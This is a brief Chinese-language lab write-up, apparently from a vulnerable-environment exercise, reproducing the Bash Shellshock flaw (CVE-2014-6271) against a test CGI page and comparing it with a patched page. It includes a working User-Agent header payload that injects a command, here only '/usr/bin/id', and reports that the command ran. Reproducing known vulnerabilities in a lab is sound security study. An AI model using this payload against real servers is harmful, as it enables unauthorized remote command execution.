CVE-2014-6271(Bash Shellshock遠程命令注入漏洞)
? ? ? ? 該服務啟動后有路徑http://your-ip:port/victim.cgi和http://your-ip:port/safe.cgi。其中safe.cgi是新版頁面,victim是bash4.3生成的頁面。
漏洞位置在User-Agent中victim.cgi:
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
成功執行命令
更換新版路徑測試
?